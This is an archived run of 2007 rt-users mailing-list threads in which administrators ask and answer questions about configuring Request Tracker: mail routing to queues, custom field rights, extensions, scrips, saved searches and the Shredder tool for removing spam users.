> "Remember! That light at the end of the tunnel
> Just might be the headlight of an oncoming train!"
>
>   
>>>> "Carlos Silva" <cbsilva at student.dei.uc.pt> 02/22/07 9:35 AM >>>
>>>>         
> Yes, I can. But there is a think that I'm still missing... 
>
> Let's suppose I create, via the web interface, a Queue named Queue1.
>
> >From that moment, without any other config,  It's supposed for me to
> receive
> in rt the emails sent to queue1 at rt.mydomain.com ???
>
> It's not happening... 
>
> Regards,
> Carlos Silva
>
>
>
>
>
> -----Mensagem original-----
> De: Jan Korbel [mailto:jackc at teptin.net] 
> Enviada: quinta-feira, 22 de Fevereiro de 2007 13:56
> Para: Carlos Silva
> Cc: rt-users at lists.bestpractical.com 
> Assunto: Re: [rt-users] Email problems - Association with Queue
>
> You can create an email alias on mail server with destination address 
> helpdesk at rt.mydomain.com or whatever you can.
>
> J.
>
> Carlos Silva wrote:
>   
>> Hi, I've followed the Wiki RHEL installguide,
>>
>>  
>>
>> http://wiki.bestpractical.com/index.cgi?RHEL4InstallGuide 
>>
>>  
>>
>> But. there is one thing I want to do and don't understand how!
>>
>>  
>>
>> I have a server that's rt.mydomain.com, and other that is 
>> mail.mydomain.com, that is the mail server of my domain.
>>
>>  
>>
>> I want that mail that is sent to helpdesk at mydomain.com 
>> <mailto:helpdesk at mydomain.com> in server mail.mydomain.com to be
>>     
> linked 
>   
>> to the Helpdesk queue in rt.mydomain.com.
>>
>>  
>>
>> How do I configure this? It seems very simple, but yet, I don't know
>>     
> how 
>   
>> to do it in RT ...
>>
>>  
>>
>> Best Regards,
>>
>> Carlos Bruno
>>
>>  
>>
>>  
>>
>>  
>>
>>
>>
>>     
> ------------------------------------------------------------------------
>   
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users 
>>
>> Community help: http://wiki.bestpractical.com 
>> Commercial support: sales at bestpractical.com 
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>>     
>
>   
>> Buy a copy at http://rtbook.bestpractical.com 
>>     
>> ------------------------------------------------------------------------
>>
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
-------------- next part --------------
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From KFCrocker at lbl.gov  Fri Feb 23 13:42:22 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Fri, 23 Feb 2007 10:42:22 -0800
Subject: [rt-users] AdminCustomField right
In-Reply-To: <45DEF5D9.6070307@idowa.de>
References: <45DEF5D9.6070307@idowa.de>
Message-ID: <45DF358E.7040000@lbl.gov>

Stefan,


	What screen are you using to do this? Are you going thru 
"Configuration" to "Custom Field" to "Select Custom Field"? Have you 
given any USER rights that might conflict with group rights?

Kenn
LBNL

Stefan Maier wrote:
> Hi,
> 
> I'm trying to create a custom field for one of my queues. I used a 
> dropdown box for this and i want one group to be able to change the 
> options available for this field. I thought that giving this group the 
> AdminCustomField, ModifyCustomField and SeeCustomField properties would 
> be sufficient, but it doesn't seem to work that way as i can't see an 
> option to modify the options once i'm logged in as a user of said group. 
> How do i solve this problem?
> 
> Thanks in advance,
> 
> Mit freundlichen Gr?ssen
> 
> Stefan Maier
> 
> ==========================================================
> Straubinger Tagblatt              EDV-Abteilung Straubing           
> FON:   +49 9421 940 256
> Ludwigsplatz 30                   FAX:   +49 9421 940 6236
> D-94315 Straubing                 http://www.idowa.de               
> Email: maier at idowa.de
> ==========================================================
> Zeitungsgruppe Straubinger Tagblatt / Landshuter Zeitung
>       Cl. Attenkofer'sche Buch- und Kunstdruckerei
>             Verlagsbuchhandlung Straubing KG
>     Registergericht: Amtsgericht Straubing, HRA 1118
> ==========================================================
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy 
> a copy at http://rtbook.bestpractical.com
> 


From Bill at Explosivo.com  Fri Feb 23 13:42:23 2007
From: Bill at Explosivo.com (Bill Chmura)
Date: Fri, 23 Feb 2007 13:42:23 -0500
Subject: [rt-users] Content in triplicate on Transaction notification
Message-ID: <20070223134223.af762380.Bill@Explosivo.com>


Hello,

(RT 3.6.1)

We get a transaction notification which contains the content in triplicate.  In the RT ticket if I show email, it looks fine.  But the actual email shows it in triplicate.  The only time this happens is on the transaction template.

I've checked the obvious, the templates and they look fine.
Here is the template contents:
------------------------------------
RT-Attach-Message: yes

{$Transaction->CreatedAsString}: Request {$Ticket->id} was acted upon.
Transaction: {$Transaction->Description}
       Queue: {$Ticket->QueueObj->Name}
     Subject: {$Transaction->Subject || $Ticket->Subject || "(No subject given)"}
       Owner: {$Ticket->OwnerObj->Name}
  Requestors: {$Ticket->RequestorAddresses}
      Status: {$Ticket->Status}
 Ticket <URL: {$RT::WebURL}Ticket/Display.html?id={$Ticket->id} >


{$Transaction->Content()}
-----------------------------------------

There are also no templates defined for any queue... its all the default templates

I am slowly losing my mind, as RT shows the outbound email once.  

The clients are MacOSX, and I am starting to wonder if that is part of the problem...

Here is an example of the email 
(the email sent shows it as only having it once).


> Fri Feb 23 13:01:18 2007: Request 190 was acted upon.
> Transaction: Correspondence added by corry at domain.com
>        Queue: Database
>      Subject: Re: [Ticket #190] Resolved: Change grade
> designations
>        Owner: Wubbadoo
>   Requestors: corry at domain.com
>       Status: resolved
>  Ticket <URL: http://support.domain.com/Ticket/Display.html?id=190 >
> 
> 
> 
> I will return to the office on Monday, February 26, and will answer
> messages at that time.
> 
> 
>  
> 
> 
> 
> I will return to the office on Monday, February 26, and will answer
> messages at that time.
> 
> 
>   
> I will return to the office on Monday, February 26, and will answer
> messages at that time.
> 

Any ideas?

Thanks!




From diablo at iasi.roedu.net  Fri Feb 23 15:05:59 2007
From: diablo at iasi.roedu.net (Subredu Manuel)
Date: Fri, 23 Feb 2007 22:05:59 +0200
Subject: [rt-users] localizing $RT::rtname
In-Reply-To: <20070223155728.GF25008@bestpractical.com>
References: <45DED43B.5000106@iasi.roedu.net>
	<20070223155728.GF25008@bestpractical.com>
Message-ID: <20070223200559.GA15230@iasi.roedu.net>


 Thanks a lot. I'll try it asap.

On Fri, Feb 23, 2007 at 10:57:28AM -0500, Jesse Vincent wrote:
> 
> 
> 
> 
> http://search.cpan.org/~jesse/RT-Extension-BrandedQueues-0.1/
> 



From tomw at bnl.gov  Fri Feb 23 17:16:32 2007
From: tomw at bnl.gov (Tomasz Wlodek)
Date: Fri, 23 Feb 2007 17:16:32 -0500 (EST)
Subject: [rt-users] How to read asset info from AT
In-Reply-To: <Pine.GSO.4.58.0605031354140.3135@rcf2.rhic.bnl.gov>
References: <20060503174640.GA22009@qwestip.net>
	<Pine.GSO.4.58.0605031354140.3135@rcf2.rhic.bnl.gov>
Message-ID: <Pine.LNX.4.64.0702231709310.15779@rcf2.rhic.bnl.gov>

Hi,

I know that this is RT mailing list, not AT, but since AT www site is 
down, and since many of RT users use AT, I thought some of you may be able 
to help me.

I want to run a perl script which will loop over assets and print all 
custom fields values for each asset.

This is a super trivial problem for an expert, just a few lines of Perl, I 
know. But if you are not an expert you would like to see and example how 
this is done, to get you started.

Could anyone help me with that?

Tom


From kellermg at potsdam.edu  Fri Feb 23 17:42:28 2007
From: kellermg at potsdam.edu (Matthew Keller)
Date: Fri, 23 Feb 2007 17:42:28 -0500
Subject: [rt-users] How to read asset info from AT
In-Reply-To: <Pine.LNX.4.64.0702231709310.15779@rcf2.rhic.bnl.gov>
References: <20060503174640.GA22009@qwestip.net>
	<Pine.GSO.4.58.0605031354140.3135@rcf2.rhic.bnl.gov>
	<Pine.LNX.4.64.0702231709310.15779@rcf2.rhic.bnl.gov>
Message-ID: <1172270548.3948.135.camel@mlap>

off the top of my head:
 
my $AssObj = RTx::AssetTracker::Asset->new(RT->SystemUser);
$AssObj->Load($AssId);
my $AssCFs=$AssObj->CustomFields();
while(my $AssCF = $AssCFs->Next()) {
    print $AssCF->Name, ": ";
    my $AssValues=$AssObj->CustomFieldValues($AssCF->id);
    while($AssValues and my $assvalue = $AssValues->Next) {
	print $AssValue->Content,"\t";
    }
    print "\n";
}

Sorry for being such an Ass. 

LOL... TGIF, folks. :)


On Fri, 2007-02-23 at 17:16 -0500, Tomasz Wlodek wrote:
> Hi,
> 
> I know that this is RT mailing list, not AT, but since AT www site is 
> down, and since many of RT users use AT, I thought some of you may be able 
> to help me.
> 
> I want to run a perl script which will loop over assets and print all 
> custom fields values for each asset.
> 
> This is a super trivial problem for an expert, just a few lines of Perl, I 
> know. But if you are not an expert you would like to see and example how 
> this is done, to get you started.
> 
> Could anyone help me with that?
> 
> Tom
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com



From mikef at ack.berkeley.edu  Fri Feb 23 18:13:14 2007
From: mikef at ack.berkeley.edu (Mike Friedman)
Date: Fri, 23 Feb 2007 15:13:14 -0800 (PST)
Subject: [rt-users] Installing the BrandedQueues extension in a local Unix
	account
In-Reply-To: <20070223200559.GA15230@iasi.roedu.net>
References: <45DED43B.5000106@iasi.roedu.net>
	<20070223155728.GF25008@bestpractical.com>
	<20070223200559.GA15230@iasi.roedu.net>
Message-ID: <20070223141604.I28407@malcolm.berkeley.edu>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I've installed Jesse's BrandedQueues extension before.  However, now I 
need to install it within a non-privileged account (on a 'virtual private 
server' where I don't have root access).  This is Solaris 10.

I've been able to configure CPAN and my PERL5LIB environment variable to 
get all the RT-required perl modules installed within my account.  But my 
problem is occurring when I must run 'perl Makefile.PL' to install the 
BrandedQueues extension.  I can't seem to get all the right variables set 
so that everything is installed in the right places.

Normally, I'd look inside Makefile.PL to figure out which variables 
correspond to each component being installed.  But the Makefile.PL that 
comes with the BrandedQueues extension calls a module (RTx) to generate 
the resultant Makefile, so I can't easily see what's happening.

And if I look at the generated Makefile, it's hard to tell which variable 
I need to set to what.  This is because some of the variables point to 
perl libraries and others to RT locations and it's not quite clear exactly 
which are which.

Could someone tell me which variable values I should set so that 
Makefile.PL will install all the pieces of the BrandedQueues extension in 
the right places?

My perl libraries are here:

    $HOME/lib/perl5/
    $HOME/share/perl/

My man directories are here:

    $HOME/share/man/

My RT is installed under

    $HOME/RT/rt/<rt-instance-name>

where 'rt' is a symlink to a particular release of RT, (e.g.
rt-> rt-3.6.3).

(I'm running two RT instances on this account).

I've tried setting such things as

    SITELIBEXP, SITEARCHEXP, INSTALLSITEARCH, INSTALLSITEBIN,
    INSTALLBIN, INSTALLSCRIPT

etc.  But it winds up installing the extension under my 
~/lib/perl5/site_perl instead of in 
$HOME/RT/rt/<rt-instance-name>/local/lib/RT

Help would be appreciated.  Installing this extension on systems where I 
could do it as root and let Makefile.PL discover all the correct paths, 
including my system perl libraries, was trivial.  But this is proving much 
less so.  The main difficulty seems to be in distinguishing where my local 
perl modules are and where the extension stuff should be installed.

Thanks.

Mike

_________________________________________________________________________
Mike Friedman                        IST/System and Network Security
mikef at ack.Berkeley.EDU               2484 Shattuck Avenue
1-510-642-1410                       University of California at Berkeley
http://socrates.berkeley.edu/~mikef  http://security.berkeley.edu
_________________________________________________________________________

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From ocraig at stillsecure.com  Fri Feb 23 19:58:16 2007
From: ocraig at stillsecure.com (Ole Craig)
Date: Fri, 23 Feb 2007 17:58:16 -0700
Subject: [rt-users] Generic "Tickets where I participate" query
In-Reply-To: <EBE724A2DE794D44B545B2B355DD3CC704308ACB@server15.int.cancom.de>
References: <EBE724A2DE794D44B545B2B355DD3CC704308ACB@server15.int.cancom.de>
Message-ID: <1172278696.6948.55.camel@ook>

On Fri, 2007-02-23 at 09:00 +0100, Torben Nehmer wrote:
> ? 
> Hello together,
>  
> I have another newbie question, where I can't find anything in the
> Wiki: For some of our users I want to have a query which shows "all
> tickets, where they are participating" either as requestor or CC or
> AdminCC. Much like the Tickets-I-Own list available by default.
>  
> For a single user I have manually put together the corresponding
> query, but obviously this isn't really maintainable. Is there a simple
> way of having the currently logged in user available in such a query
> which I can then save as global saved search? 
>  

Torben -
        Absolutely. Load your query and then click the "advanced" link,
and in the top pane replace your username with 

	__CurrentUser__

..then go back to the "edit search" link and save your new search as a
global or group search.

-- 
/Ole Craig
Security Engineer
Team lead, customer support

ocraig at stillsecure.com
303-381-3824 direct
303-381-3802 support
303-381-3880 fax

www.stillsecure.com



From theillien at yahoo.com  Sat Feb 24 23:48:37 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Sat, 24 Feb 2007 23:48:37 -0500
Subject: [rt-users] Further RTx::Shredder Errors
In-Reply-To: <45DD55B9.5020905@yahoo.com>
References: <45DC07B2.5070004@yahoo.com> <45DD55B9.5020905@yahoo.com>
Message-ID: <45E11525.20705@yahoo.com>

I have been looking at this and still haven't figured out what I need to change
to make it work.  Ruslan mentioned the User plugin.  There's a Users plugin but
no singular.  the User.pm file under the Shredder directory has no method for
setting the resolver as far as I can tell.  User.pm under the Plugin directory
has the SetResolver method though.  I used it but I guess I haven't used it
correctly.

Can someone help me out please?

Mathew

Mathew Snyder wrote:
> I think I'm making progress.  This is what I now have
> 
> RTx::Shredder::Init( force => 1 );
> my $shredder = new RTx::Shredder(RT::SystemUser);
> my $resolver = new RTx::Shredder::Plugin::Users(RT::SystemUser);
> if ($ans =~ m/^(y|yes)$/i){
>         my ($fname, $fh) = $shredder->SetFile( FromStorage => 0, FileName =>
> '/usr/local/rt-3.6.1/var/data/RTx-Shredder/Shredder-Users_XXXX.sql' );
>         my $email;
>         foreach $email (@emails){
>                 my $user = new RT::User(RT::SystemUser);
>                 $user->LoadByEmail($email);
>                 next unless $user->id;
>                 $resolver->SetResolver(Shredder => 10);
>                 $shredder->PutObject(Object => $user);
>         }
>         $shredder->WipeoutAll;
> }else{
>         exit;
> }
> 
> Now, instead of getting an error regarding resolvers, I am getting
> 
> [crit]: Odd number of elements in anonymous hash at
> /usr/local/rt-3.6.1/local/lib/RTx/Shredder/Plugin/Base.pm line 23.
> (/usr/local/rt-3.6.1/lib/RT.pm:317)
> Odd number of elements in anonymous hash at
> /usr/local/rt-3.6.1/local/lib/RTx/Shredder/Plugin/Base.pm line 23.
> 
> Looking at some of the code in there I think I should be using $resolver to
> establish the "replace_relations" bit and then fitting that into the $shredder
> somehow.  Any thoughts?
> 
> Mathew
> 
> Mathew Snyder wrote:
>> >From this
>>
>> RTx::Shredder::Init( force => 1 );
>> my $shredder = new RTx::Shredder(RT::SystemUser);
>> if ($ans =~ m/^(y|yes)$/i){
>> #       my ($fname, $fh) = $shredder->SetFile( FromStorage => 0, FileName =>
>> ?/usr/local/rt-3.6.1/var/data/RTx-Shredder/Shredder-Users_XXXX.sql? );
>>         my $email;
>>         foreach $email (@emails){
>>                 my $user = new RT::User(RT::SystemUser);
>>                 $user->LoadByEmail($email);
>>                 next unless $user->id;
>>                 $shredder->PutObject(Object => $user);
>>         }
>>         $shredder->WipeoutAll;
>> #               system "/usr/local/rt-3.6.1/local/sbin/rtx-shredder --force
>> --plugin 'Users=status,any;email,$email;replace_relations,Nobody'";
>> #
>> system("/usr/local/rt-3.6.1/local/sbin/rtx-shredder","--force","--plugin","Users=status,any;email,$email;replace_relations,Nobody");
>> }
>>
>> I get this
>>
>> [Wed Feb 21 08:44:20 2007] [crit]: Couldn't wipeout object: Couldn't find
>> resolver for dependency 'RT::User-240410 (depends on,resolvable dependency)
>> RT::Attachment-270285' at /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line
>> 393. (/usr/local/rt-3.6.1/lib/RT.pm:317)
>> Couldn't wipeout object: Couldn't find resolver for dependency 'RT::User-240410
>> (depends on,resolvable dependency) RT::Attachment-270285' at
>> /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line 393.
>>
>> Can someone shed some light on why this is failing?
>>
>> Also, the above, commented-out line regarding SetFile produces this
>>
>> Unrecognized character \xE2 at ./delete_spam_users.pl line 91
>>
>> I don't know what the \xE2 is as I couldn't find anything on Google about it.
>>
>> Mathew
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
>>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 


From rblayzor at inoc.net  Sun Feb 25 10:55:49 2007
From: rblayzor at inoc.net (Robert Blayzor)
Date: Sun, 25 Feb 2007 10:55:49 -0500
Subject: [rt-users] Unable to change ownership other than Nobody
Message-ID: <45E1B185.1070809@inoc.net>

Recently moved and upgraded to a new server, old RT3.2.2 to the latest
3.6.3.

Everything installed great and seems to be working ok except for one
thing that we can't seem to figure out.

QueueAdmin and Superusers used to be able to change/assign ownership of
tickets to either "Nobody" or other users, however, now all that shows
up under owner is "Nobody" or "Nobody" and the current user.

The old action used to display a list of users to change ownership to.
Any suggestions?

-- 
Robert Blayzor, BOFH
INOC, LLC
rblayzor\@(inoc.net|gmail.com)
PGP: 0x66F90BFC @ http://pgp.mit.edu
Key fingerprint = 6296 F715 038B 44C1 2720  292A 8580 500E 66F9 0BFC

Quality assurance: A way to ensure you never deliver shoddy goods
accidentally.


From pape-rt at inf.fu-berlin.de  Sun Feb 25 13:00:50 2007
From: pape-rt at inf.fu-berlin.de (Dirk Pape)
Date: Sun, 25 Feb 2007 19:00:50 +0100
Subject: [rt-users] RTFM 2.2.0RC4 bug (with RT 3.6.3): Search not
	working for values of Cfs with type "select one value" 
In-Reply-To: <71F266A70F7133EB97F4F484@idefix.mi.fu-berlin.de>
References: <71F266A70F7133EB97F4F484@idefix.mi.fu-berlin.de>
Message-ID: <BD497B40988244A1BF081CF0@[192.168.1.7]>

Hello,

doesn't anyone see the same problem? I am quite sure now that it is in the 
core of RTFM (RT::FM::ArticleCollection->LimitCustomField).

Regards, Dirk.

--Am 22. Februar 2007 12:35:54 +0100 schrieb Dirk Pape 
<pape-rt at inf.fu-berlin.de>:

> Hello,
>
> is this a known issue?
>
> I have a CF "rt-mi-faq-category" attached to a class "rt-mi-faq". The CF
> has type "select one value" with three values possible one of it is
> "general".
>
> Know composing an article search for class "rt-mi-faq" and value
> "general" for the CF "rt-mi-faq-category" yields all articles of a class
> in the result, regardless of their value of CF "rt-mi-faq-category",
> which is WRONG!
>
> The bookmarkable link for the search is:
> <https://our.rt.server/rt/RTFM/Article/Search.html?Class=4&rt-mi-faq-cate
> gory~=general>
>
> if searching for content - any field - matches "general", the value of
> the CF is correctly filtered.
>
> I have tried RT::FM::ArticleCollection->LimitCustomField (FIELD =>
> "rt-mi-faq-category", VALUE => "general"), which does not work also, so I
> think the problem is in handling this kind of limit.
>
> Regards,
> Dirk.




From ruslan.zakirov at gmail.com  Sun Feb 25 14:01:52 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Sun, 25 Feb 2007 22:01:52 +0300
Subject: [rt-users] Unable to change ownership other than Nobody
In-Reply-To: <45E1B185.1070809@inoc.net>
References: <45E1B185.1070809@inoc.net>
Message-ID: <589c94400702251101j579c6a77y599fc45c8088e63@mail.gmail.com>

http://wiki.bestpractical.com/?SuperUser

On 2/25/07, Robert Blayzor <rblayzor at inoc.net> wrote:
> Recently moved and upgraded to a new server, old RT3.2.2 to the latest
> 3.6.3.
>
> Everything installed great and seems to be working ok except for one
> thing that we can't seem to figure out.
>
> QueueAdmin and Superusers used to be able to change/assign ownership of
> tickets to either "Nobody" or other users, however, now all that shows
> up under owner is "Nobody" or "Nobody" and the current user.
>
> The old action used to display a list of users to change ownership to.
> Any suggestions?
>
> --
> Robert Blayzor, BOFH
> INOC, LLC
> rblayzor\@(inoc.net|gmail.com)
> PGP: 0x66F90BFC @ http://pgp.mit.edu
> Key fingerprint = 6296 F715 038B 44C1 2720  292A 8580 500E 66F9 0BFC
>
> Quality assurance: A way to ensure you never deliver shoddy goods
> accidentally.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From kelly.terry.jones at gmail.com  Sun Feb 25 16:45:37 2007
From: kelly.terry.jones at gmail.com (Kelly Jones)
Date: Sun, 25 Feb 2007 14:45:37 -0700
Subject: [rt-users] Giving web-based RT access to regular users like
	rt.sorbs.net?
Message-ID: <26face530702251345r13517a7cx27364afd532c168a@mail.gmail.com>

Here's the way we've been using RT:

* Admins and support staff use the web interface to make comments,
reply to users, change the status of tickets, etc

* Regular users interact w/ RT via email: they don't know about the
web interface, don't have a password to access it, etc

I thought this was the normal way to use RT, but, when I emailed
duhl at sorbs.net (which uses RT), I got back an auto-reply (as
expected), but also a password to log into https://rt.sorbs.net/

Of course, the only ticket I can see if my own, and I can't change its
status, assign the ticket to someone (or even see the list of people I
could theoretically assign it to), etc. I'm also guessing I wouldn't
be able to see comments, only replies.

How do I set my RT queue up to do this: the first time someone creates
a ticket, email them a username (their email address) and password to
let them see the status of their ticket (+ any future tickets they
create)?

Is this an add-on/hack, or standard, supported RT functionality.

-- 
We're just a Bunch Of Regular Guys, a collective group that's trying
to understand and assimilate technology. We feel that resistance to
new ideas and technology is unwise and ultimately futile.


From Jacob at buschs.com  Mon Feb 26 09:01:05 2007
From: Jacob at buschs.com (Jacob Helwig)
Date: Mon, 26 Feb 2007 09:01:05 -0500
Subject: [rt-users] Giving web-based RT access to regular users
	likert.sorbs.net?
In-Reply-To: <26face530702251345r13517a7cx27364afd532c168a@mail.gmail.com>
References: <26face530702251345r13517a7cx27364afd532c168a@mail.gmail.com>
Message-ID: <B2E89743C79B364482E6AE35414E516201EABBAF@mail.buschs.net>

http://rt.bestpractical.com/view/AutogeneratedPassword has what you're
looking for.

> -----Original Message-----
> From: rt-users-bounces at lists.bestpractical.com [mailto:rt-users-
> bounces at lists.bestpractical.com] On Behalf Of Kelly Jones
> Sent: Sunday, February 25, 2007 16:46
> To: rt-users at bestpractical.com
> Subject: [rt-users] Giving web-based RT access to regular users
> likert.sorbs.net?
> 
> Here's the way we've been using RT:
> 
> * Admins and support staff use the web interface to make comments,
> reply to users, change the status of tickets, etc
> 
> * Regular users interact w/ RT via email: they don't know about the
> web interface, don't have a password to access it, etc
> 
> I thought this was the normal way to use RT, but, when I emailed
> duhl at sorbs.net (which uses RT), I got back an auto-reply (as
> expected), but also a password to log into https://rt.sorbs.net/
> 
> Of course, the only ticket I can see if my own, and I can't change its
> status, assign the ticket to someone (or even see the list of people I
> could theoretically assign it to), etc. I'm also guessing I wouldn't
> be able to see comments, only replies.
> 
> How do I set my RT queue up to do this: the first time someone creates
> a ticket, email them a username (their email address) and password to
> let them see the status of their ticket (+ any future tickets they
> create)?
> 
> Is this an add-on/hack, or standard, supported RT functionality.
> 
> --
> We're just a Bunch Of Regular Guys, a collective group that's trying
> to understand and assimilate technology. We feel that resistance to
> new ideas and technology is unwise and ultimately futile.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com



From CLoos at netcologne.de  Mon Feb 26 11:02:34 2007
From: CLoos at netcologne.de (Loos, Christian)
Date: Mon, 26 Feb 2007 17:02:34 +0100
Subject: [rt-users] assign ticket owner to nobody on resolve
Message-ID: <657C603258FA594DB9A8C49EB86631190BD65055@ncmail.netcologne.intern>

Hello,

ich take the script from wiki http://wiki.bestpractical.com/index.cgi?AutoSetOwner an modified it.
My script looks like:

condition: on resolve
action: user defined
template: global template: blank
stage: transaction create

custom action preparation code:
return 1;

custom action cleanup code:
my $owner = $RT::Nobody->id;
my ($status, $msg) = $self->TicketObj->SetOwner( $owner );
unless( $status ) {
  $RT::Logger->error( "Impossible to assign the ticket to $owner on resolve: $msg" );
  return undef;
}
return 1;


The error log says:
Impossible to assign the ticket to 10 on resolve: You can only reassign tickets that you own or that are unowned ((eval 515):4)

On this point i am the owner of the ticket.
If i change the owner on the resolve page everything works fine.

Why does this script doesn't work?
Any ideas?

Thanks
Chris


From sturner at MIT.EDU  Mon Feb 26 11:50:20 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Mon, 26 Feb 2007 11:50:20 -0500
Subject: [rt-users] assign ticket owner to nobody on resolve
In-Reply-To: <657C603258FA594DB9A8C49EB86631190BD65055@ncmail.netcologne
	.intern>
References: <657C603258FA594DB9A8C49EB86631190BD65055@ncmail.netcologne.intern>
Message-ID: <6.2.3.4.2.20070226114739.03776770@po14.mit.edu>

At Monday 2/26/2007 11:02 AM, Loos, Christian wrote:
>Hello,
>
>ich take the script from wiki 
>http://wiki.bestpractical.com/index.cgi?AutoSetOwner an modified it.
>My script looks like:
>
>condition: on resolve
>action: user defined
>template: global template: blank
>stage: transaction create
>
>custom action preparation code:
>return 1;
>
>custom action cleanup code:
>my $owner = $RT::Nobody->id;
>my ($status, $msg) = $self->TicketObj->SetOwner( $owner );
>unless( $status ) {
>   $RT::Logger->error( "Impossible to assign the ticket to $owner on 
> resolve: $msg" );
>   return undef;
>}
>return 1;
>
>
>The error log says:
>Impossible to assign the ticket to 10 on resolve: You can only 
>reassign tickets that you own or that are unowned ((eval 515):4)
>
>On this point i am the owner of the ticket.
>If i change the owner on the resolve page everything works fine.
>
>Why does this script doesn't work?
>Any ideas?

I'd guess that when the scrip runs, the CurrentUser is not you - so 
RT thinks someone else is trying to change the ticket ownership. Try 
adding'Force' as a second argument to the SetOwner call.

Look in $RTHOME/lib/RT/Ticket_Overlay.pm   ( SetOwner method) to see 
what's going on

Steve   



From kelly.terry.jones at gmail.com  Mon Feb 26 22:28:42 2007
From: kelly.terry.jones at gmail.com (Kelly Jones)
Date: Mon, 26 Feb 2007 20:28:42 -0700
Subject: [rt-users] Multiple queues for single ticket?
Message-ID: <26face530702261928y2d73fb7sc6d2692908966eb2@mail.gmail.com>

Can a single ticket be in multiple queues?

We sometimes get tickets that require actions by people in queues X,
Y, and Z. The three queues are otherwise unrelated. The ticket has
"intertwined" requests: if the admins of queue X take a certain
action, it will affect what the admins of Y and Z need to do.

Ideally, the ticket would belong to all three queues: X admins would
see it as "native" to queue X, Y admins would see it as native to
queue Y, etc. X admins could see comments made by Y and Z admins, and
so on.

Is there a way to do this?

Several ways that don't work well:

1. Create a new 'XYZ' queue + move tickets like this to that
queue. The admins of XYZ would be the union of the admins of X, Y, and
Z. This would do exactly what I want, but the number of queues would
explode combinatorially. For the X, Y, and Z queues, we'd have to
create "XY", "XZ", "YZ", and "XYZ". For 5 queues, we'd have to create
26 new queues.

2. Have the end user send 3 separate emails to X, Y, and Z (or even
create an alias like "xyz: x,y,z"). Wouldn't work: the X admins
wouldn't know what the Y admins are doing, and what the X admins need
to do may depend on what the Y admins have done.

3. Put the ticket in queue X, and admincc queues Y and Z. I'm pretty
sure RT discourages/prohibits queues from sending each other
email. Even if RT allowed this, the "[Foo Ticket #x]" in the subject
would confuse queues Y and Z.

4. Put the ticket in queue X, let the X admins do their part, pass it
to queue Y, and so on. Because of intertwining, Y may pass it back to
X, X may pass it to Z, back to Y, etc, before the ticket is finally
resolved. This is what we're doing now. It works, but is ugly and
results in delays. Example: Z admins are ready to work on more
tickets, but don't have any. They don't realize there's an ticket
currently in queue X that they'll be getting as soon as X admins (who
are behind) do their part. It'd be nice if whoever could get to the
ticket first did their part, and everyone else could do their part
when they got around to it.

-- 
We're just a Bunch Of Regular Guys, a collective group that's trying
to understand and assimilate technology. We feel that resistance to
new ideas and technology is unwise and ultimately futile.


From rt-lists at ieinternet.com  Tue Feb 27 03:38:07 2007
From: rt-lists at ieinternet.com (Ken O'Driscoll)
Date: Tue, 27 Feb 2007 08:38:07 +0000
Subject: [rt-users] Multiple queues for single ticket?
In-Reply-To: <26face530702261928y2d73fb7sc6d2692908966eb2@mail.gmail.com>
References: <26face530702261928y2d73fb7sc6d2692908966eb2@mail.gmail.com>
Message-ID: <1172565487.2607.40.camel@turing>

On Mon, 2007-02-26 at 20:28 -0700, Kelly Jones wrote:
> Can a single ticket be in multiple queues?
> 
> We sometimes get tickets that require actions by people in queues X,
> Y, and Z. The three queues are otherwise unrelated. The ticket has
> "intertwined" requests: if the admins of queue X take a certain
> action, it will affect what the admins of Y and Z need to do.
> 
> Ideally, the ticket would belong to all three queues: X admins would
> see it as "native" to queue X, Y admins would see it as native to
> queue Y, etc. X admins could see comments made by Y and Z admins, and
> so on.
> 
> Is there a way to do this?
[.snip...]

Hi,

Perhaps you could split the ticket into one parent and three children or
dependents.  Maybe intercept incoming email for MasterQueue then create
three new tickets in queues x, y and z which would be duplicates of the
original ticket but set to be dependent on it.

You could even write a scrip to set the master ticket to resolved when
all the dependents were resolved in their respective queues.

 - Ken. 



--
This email has passed through an IE Internet MailWall gateway
and has been screened for known viruses, potential viruses and
malicious code.

